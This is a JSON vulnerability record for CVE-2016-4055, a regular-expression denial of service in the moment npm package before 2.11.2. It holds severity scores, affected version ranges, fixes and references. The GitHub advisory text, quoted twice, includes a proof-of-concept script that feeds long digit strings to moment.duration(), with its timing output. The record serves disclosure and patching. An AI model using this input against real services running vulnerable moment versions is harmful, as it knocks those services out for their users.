{"id":"CVE-2016-4055","aliases":["CLSA-2026-1773101684","DEBIAN-CVE-2016-4055","EUVD-2017-0191","GHSA-87vv-r9j6-g5qv","ROOT-APP-NPM-CVE-2016-4055","UBUNTU-CVE-2016-4055","USN-4786-1"],"status":"published","title":"Regular Expression Denial of Service in moment","description":"The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a \"regular expression Denial of Service (ReDoS).\"","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-08","score":0.09905,"percentile":0.9561,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2017-01-23T21:00:00Z","modified":"2026-10-24T10:30:54Z","fixes":[{"ecosystem":"npm","package":"moment","fixed_in":["2.11.2"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"node-moment","fixed_in":["2.13.0+ds-1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"node-moment","fixed_in":["2.13.0+ds-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-moment","fixed_in":["2.13.0+ds-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/moment","fixed_in":["2.0.0-root.io.3","2.0.0-root.io.4"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"moment","fixed_in":["2.0.0-aikido.4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"node-moment","fixed_in":["2.11.0+ds-1ubuntu0.1~esm1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"moment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.11.2"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"moment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.6-tuxcare.0"},{"fixed":"2.10.6-tuxcare.1"}]}],"versions":["2.10.6"],"bundled":3},{"source":"osv","ecosystem":"Debian:12","package":"node-moment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.13.0+ds-1"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"node-moment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.13.0+ds-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"node-moment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.13.0+ds-1"}]}]},{"source":"osv","ecosystem":"npm","package":"moment","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.11.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/moment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0-root.io.3"},{"fixed":"2.0.0-root.io.4"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"moment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0-aikido.4"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"node-moment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.11.0+ds-1ubuntu0.1~esm1"}]}],"versions":["2.10.6+dfsg-1","2.11.0+ds-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"node-moment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.11.0+ds-1ubuntu0.1~esm1"}]}],"versions":["2.10.6+dfsg-1","2.11.0+ds-1"],"bundled":2}],"products":[{"vendor":"momentjs","product":"moment"},{"vendor":"oracle","product":"primavera_unifier"},{"vendor":"tenable","product":"nessus"}],"references":[{"url":"http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html","tags":["x_refsource_CONFIRM","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://nodesecurity.io/advisories/55","tags":["x_refsource_CONFIRM","x_transferred","Broken Link","Exploit","Vendor Advisory","evidence"]},{"url":"http://www.openwall.com/lists/oss-security/2016/04/20/11","tags":["mailing-list","x_refsource_MLIST","x_transferred","Mailing List","Third Party Advisory","advisory","web"]},{"url":"http://www.securityfocus.com/bid/95849","tags":["vdb-entry","x_refsource_BID","x_transferred","Third Party Advisory","VDB Entry","advisory","web"]},{"url":"https://www.tenable.com/security/tns-2019-02","tags":["x_refsource_CONFIRM","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854%40%3Cuser.flink.apache.org%3E","tags":["mailing-list","x_refsource_MLIST","x_transferred","web"]},{"url":"https://lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731%40%3Cdev.flink.apache.org%3E","tags":["mailing-list","x_refsource_MLIST","x_transferred","web"]},{"url":"https://lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49%40%3Cuser.flink.apache.org%3E","tags":["mailing-list","x_refsource_MLIST","x_transferred","web"]},{"url":"https://lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2%40%3Cuser.flink.apache.org%3E","tags":["mailing-list","x_refsource_MLIST","x_transferred","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2016-4055","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-87vv-r9j6-g5qv","tags":["advisory"]},{"url":"https://www.npmjs.com/advisories/55","tags":["web"]},{"url":"https://lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731@%3Cdev.flink.apache.org%3E","tags":["web"]},{"url":"https://lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49@%3Cuser.flink.apache.org%3E","tags":["web"]},{"url":"https://lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2@%3Cuser.flink.apache.org%3E","tags":["web"]},{"url":"https://lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854@%3Cuser.flink.apache.org%3E","tags":["web"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2016-4055","tags":["advisory"]},{"url":"https://github.com/moment/moment","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2016-4055","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2016-4055","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-4786-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2017-18214","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2016-4055","description":"The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a \"regular expression Denial of Service (ReDoS).\"","status":"published","published":"2017-01-23T21:00:00Z","modified":"2024-08-06T00:17:30.673Z","updated_at":"2026-11-02T14:33:35.149563Z"}],"euvd":[{"id":"EUVD-2017-0191","description":"The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a \"regular expression Denial of Service (ReDoS).\"","status":"published","published":"2017-01-23T21:00:00Z","modified":"2024-08-06T00:17:30Z","updated_at":"2026-11-03T02:22:48.270082Z"}],"ghsa":[{"id":"GHSA-87vv-r9j6-g5qv","title":"Regular Expression Denial of Service in moment","description":"Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.\n\n\n## Proof of concept\n```\nvar moment = require('moment');\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i\u003c=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=20000;i\u003c=10000000;i=i+10000) {\n    console.log(\"COUNT: \" + i);\n    var str = '-' + genstr(i, '1')\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    moment.duration(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\n```\n$ node moment.js\nCOUNT: 20000\nLENGTH: 20002\n[ 0, 618931029 ]\nCOUNT: 30001\nLENGTH: 30003\n[ 1, 401413894 ]\nCOUNT: 40002\nLENGTH: 40004\n[ 2, 437075303 ]\nCOUNT: 50003\nLENGTH: 50005\n[ 3, 824664804 ]\nCOUNT: 60004\nLENGTH: 60006\n[ 5, 651335262 ]\n```\n\n\n## Recommendation\n\nPlease update to version 2.11.2 or later. ","status":"published","published":"2017-10-24T18:33:35Z","modified":"2023-02-03T05:02:30Z","cvss":[{"version":"3.0","score":6.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:36:41.967989Z"}],"nvd":[{"id":"CVE-2016-4055","description":"The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a \"regular expression Denial of Service (ReDoS).\"","status":"published","published":"2017-01-23T21:59:01.33Z","modified":"2026-06-17T00:46:48.293Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"primary"},{"version":"2.0","score":7.8,"vector":"AV:N/AC:L/Au:N/C:N/I:N/A:C","level":"high","assessor":"primary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:03:35.029632Z"}],"osv":[{"id":"CVE-2016-4055","description":"The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a \"regular expression Denial of Service (ReDoS).\"","status":"published","published":"2017-01-23T21:59:01.33Z","modified":"2026-10-24T10:30:54.124752188Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:44:02.454775Z"},{"id":"DEBIAN-CVE-2016-4055","description":"The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a \"regular expression Denial of Service (ReDoS).\"","status":"published","published":"2017-01-23T21:59:01.33Z","modified":"2026-09-22T07:00:23.801918476Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:45:27.627285Z"},{"id":"GHSA-87vv-r9j6-g5qv","title":"Regular Expression Denial of Service in moment","description":"Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.\n\n\n## Proof of concept\n```\nvar moment = require('moment');\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i\u003c=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=20000;i\u003c=10000000;i=i+10000) {\n    console.log(\"COUNT: \" + i);\n    var str = '-' + genstr(i, '1')\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    moment.duration(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\n```\n$ node moment.js\nCOUNT: 20000\nLENGTH: 20002\n[ 0, 618931029 ]\nCOUNT: 30001\nLENGTH: 30003\n[ 1, 401413894 ]\nCOUNT: 40002\nLENGTH: 40004\n[ 2, 437075303 ]\nCOUNT: 50003\nLENGTH: 50005\n[ 3, 824664804 ]\nCOUNT: 60004\nLENGTH: 60006\n[ 5, 651335262 ]\n```\n\n\n## Recommendation\n\nPlease update to version 2.11.2 or later. ","status":"published","published":"2017-10-24T18:33:35Z","modified":"2023-11-08T03:58:28.366374Z","cvss":[{"version":"3.0","score":6.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:42.077781Z"},{"id":"UBUNTU-CVE-2016-4055","description":"The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a \"regular expression Denial of Service (ReDoS).\"","status":"published","published":"2017-01-23T21:59:00Z","modified":"2026-02-04T03:59:31.322266Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"},{"version":"3.0","score":6.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:54:12.261906Z"},{"id":"CLSA-2026-1773101684","title":"TuxCare security update for moment (3 CVEs)","description":"TuxCare rebuilt moment to address 3 CVEs. Fixed in 2.10.6-tuxcare.1.","status":"published","published":"2026-08-04T14:52:11Z","modified":"2026-10-15T09:45:26.074675881Z","updated_at":"2026-11-02T15:43:43.249928Z"},{"id":"ROOT-APP-NPM-CVE-2016-4055","title":"CVE-2016-4055 in @rootio/moment - Patched by Root","description":"Root has patched CVE-2016-4055 in the @rootio/moment package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-06-04T20:48:34Z","modified":"2026-06-05T01:30:10.331839935Z","updated_at":"2026-11-02T15:53:27.362922Z"},{"id":"USN-4786-1","title":"node-moment vulnerabilities","description":"It was discovered that Moment.js mishandled certain regular expressions. An\nattacker could use this vulnerability to cause a denial of service.","status":"published","published":"2021-03-15T21:04:13Z","modified":"2026-06-25T13:30:25.055813465Z","updated_at":"2026-11-02T16:58:15.159055Z"}]}}
